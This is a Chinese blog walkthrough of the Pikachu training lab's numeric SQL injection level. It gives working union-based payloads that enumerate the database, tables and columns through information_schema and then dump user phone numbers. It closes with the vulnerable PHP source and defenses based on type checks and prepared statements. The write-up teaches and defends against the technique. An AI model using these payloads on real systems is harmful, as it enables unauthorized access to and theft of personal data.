Pikachu靶场通关笔记(18) — SQL Inject (数字型注入)

40次阅读
没有评论

摘要 / 前言:
在结束了暴力破解、XSS 和 CSRF 的练习后,通过第 18 篇笔记,正式开始 SQL 注入(SQL Injection)的实战。SQL 注入是 OWASP Top 10 中的常客,危害极大。本关是 Pikachu SQL 注入章节的第一关: 数字型注入(Numeric Injection),主要考察对后端 SQL 语句拼接方式的理解以及联合查询(Union Select)的使用。


一、漏洞分析

打开页面,发现是一个下拉框选择用户 ID 的功能。点击“查询”后,后端会返回对应的用户信息(用户名和邮箱)。

1. 抓包分析

使用 Burp Suite 进行抓包,查看 HTTP 请求详情:

  • 请求方式 :POST
  • 请求路径 /vul/sqli/sqli_id.php
  • 关键参数 id
POST /vul/sqli/sqli_id.php HTTP/1.1
Host: localhost:8899
Content-Type: application/x-www-form-urlencoded
...
id=1&submit=%E6%9F%A5%E8%AF%A2

因为参数 id 传输的是数字(如 1, 2, 3),且后端大概率是直接将其拼接到 SQL 语句中,例如:select * from users where id = $id。如果不加引号包裹,这就是典型的数字型注入。


二、注入测试流程

1. 验证注入点 (Boolean Verification)

尝试构造恒真条件,查看页面回显是否变化。
id 的值修改为 1 or 1=1(URL 编码中空格往往用 + 代替)。

  • Payload:
    sql id=1+or+1=1&submit=%E6%9F%A5%E8%AF%A2
  • 结果: 页面返回了所有用户的信息。这意味着后端执行了 select ... where id = 1 or 1=1,条件永远为真,证明存在 SQL 注入漏洞。
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)

2. 判断字段数 (Order By)

使用 order by 语句来判断当前查询结果包含几列。

  • Payload:
    sql id=1+order+by+2&submit=%E6%9F%A5%E8%AF%A2
  • 结果: 页面正常显示,说明至少有 2 列。若尝试 order by 3 报错,则说明只有 2 列。(“若 order by 3 不报错,可继续增大数值直到报错”)
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)

3. 确定回显位置 (Union Select)

使用联合查询确定哪一列的数据会显示在页面上。

  • Payload:
    sql id=1+union+select+1,2&submit=%E6%9F%A5%E8%AF%A2
  • 结果: 页面回显:hello,1
    your email is: 2 说明两个位置(1 和 2)均可用于回显数据。
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)

三、深入利用(获取数据)

1. 获取数据库名和版本

在回显位置填入数据库函数 database()version()

  • Payload:
    sql id=1+union+select+database(),version()&submit=%E6%9F%A5%E8%AF%A2
  • 获取信息:
    • 当前数据库: pikachu
    • 数据库版本: 5.7.26... (或其他版本号)

2. 获取表名 (Get Tables)

查询 information_schema.tables 获取当前数据库下的所有表名。

  • 注:group_concat():合并多行结果为一行,避免页面只显示部分表名 / 数据,常用于 sql 注入。
  • 注:information_schema:MySQL 系统表,存储数据库、表、字段的元数据(如下图)。
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)
  • Payload:
    sql id=1+union+select+database(),group_concat(table_name)+from+information_schema.tables+where+table_schema='pikachu'&submit=%E6%9F%A5%E8%AF%A2
  • 获取信息: 得到表名列表,其中包括关键表 member
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)

3. 获取列名 (Get Columns)

针对感兴趣的 member 表,查询其字段名。

  • Payload:
    sql id=1+union+select+database(),group_concat(column_name)+from+information_schema.columns+where+table_schema='pikachu'+and+table_name='member'&submit=%E6%9F%A5%E8%AF%A2
  • 获取信息: 得到列名 id,username,pw,sex,phonenum,email,address 等。

4. 获取具体数据 (Dump Data)

最后,查询 member 表中的用户名、性别和手机号等敏感信息。

  • Payload:
    sql id=1+union+select+database(),group_concat(username,sex,phonenum)+from+member&submit=%E6%9F%A5%E8%AF%A2
  • 结果: 成功回显出所有用户的详细信息,至此完成了一次完整的数据脱取。
Pikachu 靶场通关笔记 (18) — SQL Inject (数字型注入)

四、总结与防御

漏洞成因:
后端代码在接收 id 参数后,没有进行任何过滤,也没有使用引号包裹(因为是数字型),直接将其拼接到 SQL 查询语句中执行。

if(isset($_POST['submit']) && $_POST['id']!=null){
    // 这里没有做任何处理,直接拼到 select 里面去了, 形成 Sql 注入
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    // 这里如果用 ==1, 会严格一点
    if(mysqli_num_rows($result)>=1){while($data=mysqli_fetch_assoc($result)){$username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{$html.="<p class='notice'> 您输入的 user id 不存在,请重新输入!</p>";}
}

防御方案:

  1. 判断输入类型: 在后端代码中判断 id 是否为整数(例如使用 is_numeric() 函数),如果不是数字直接拦截。
  2. 预编译语句(推荐): 使用 PDO 或 MySQLi 的参数化查询(Prepared Statements),这是防御 SQL 注入最有效的方法。
// 错误示例
$sql = "SELECT * FROM users WHERE id = $id";

// 正确示例 (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);
正文完
 0
评论(没有评论)